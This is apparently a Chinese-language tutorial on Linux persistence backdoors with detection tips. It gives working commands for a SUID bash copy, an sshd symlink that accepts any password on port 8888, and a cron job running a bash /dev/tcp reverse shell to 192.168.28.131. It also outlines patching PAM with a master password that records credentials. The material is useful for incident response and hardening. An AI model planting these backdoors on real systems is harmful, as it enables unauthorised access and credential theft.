排查
1 2 3 4 5 6 # 查询特权用户特权用户(uid 为0) [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd # 查询可以远程登录的帐号信息 [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow # 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限 [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 0x01SUID
Suid shell 是一种可用于以拥有者权限运行的 shell。
1 2 3 4 5 6 配合普通用户权限使用 cp /bin/bash /tmp/shell chmod u+s /tmp/shell /tmp/shell 一般将其命名为find等系统命令,存在位置为/usr/bin
排查技巧:
1 2 3 4 5 6 # 在Linux中查找SUID设置的文件 find . -perm /4000 # 在Linux中查找使用SGID设置的文件 find . -perm /2000 # 取消s权限 chmod u-s /tmp/shell
# 0x02 ssh 免密登录
再将公钥复制到.ssh 中 /root/.ssh/authorized_keys
# 0x03 软连接
在 sshd 服务配置运行 PAM 认证的前提下,PAM 配置文件中控制标志为 sufficient 时只要 pam_rootok 模块检测 uid 为 0 即 root 权限即可成功认证登陆。通过软连接的方式,实质上 PAM 认证是通过软连接的文件名 /tmp/su 在 /etc/pam.d/ 目录下寻找对应的 PAM 配置文件 (如: /etc/pam.d/su),任意密码登陆的核心是 auth sufficient pam_rootok.so ,所以只要 PAM 配置文件中包含此配置即可 SSH 任意密码登陆,除了 su 中之外还有 chsh、chfn 同样可以。
1 ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
执行完之后,任何一台机器 ssh root@IP -p 8888 ,输入任意密码,成功登录。
排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。
# 0x04crontab 反弹 shell
crontab 命令用于设置周期性被执行的指令。新建 shell 脚本,利用脚本进行反弹。
a、创建 shell 脚本,例如在 /etc/evil.sh
1 2 #!/bin/bash bash -i >& /dev/tcp/192.168.28.131/12345 0>&1
chmod +sx /etc/evil.sh
b、crontab -e 设置定时任务
1 2 #每一分钟执行一次 */1 * * * * root /etc/evil.sh
重启 crond 服务, service crond restart ,然后就可以用 nc 接收 shell。
# 0x05pam 后门
PAM (Pluggable Authentication Modules )是由 Sun 提出的一种认证机制。它通过提供一些动态链接库和一套统一的 API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM 最初是集成在 Solaris 中,目前已移植到其它系统中,如 Linux、SunOS、HP-UX 9.0 等。
利用方法:
1 2 3 4 1、获取目标系统所使用的PAM版本,下载对应版本的pam版本 2、解压缩,修改pam_unix_auth.c文件,添加万能密码 3、编译安装PAM 4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。
排查
1 2 3 4 5 6 7 # 1、通过Strace跟踪ssh ps axu | grep sshd strace -o aa -ff -p PID grep open aa* | grep -v -e No -e null -e denied| grep WR # 2、检查pam_unix.so的修改时间 stat /lib/security/pam_unix.so #32位 stat /lib64/security/pam_unix.so #64位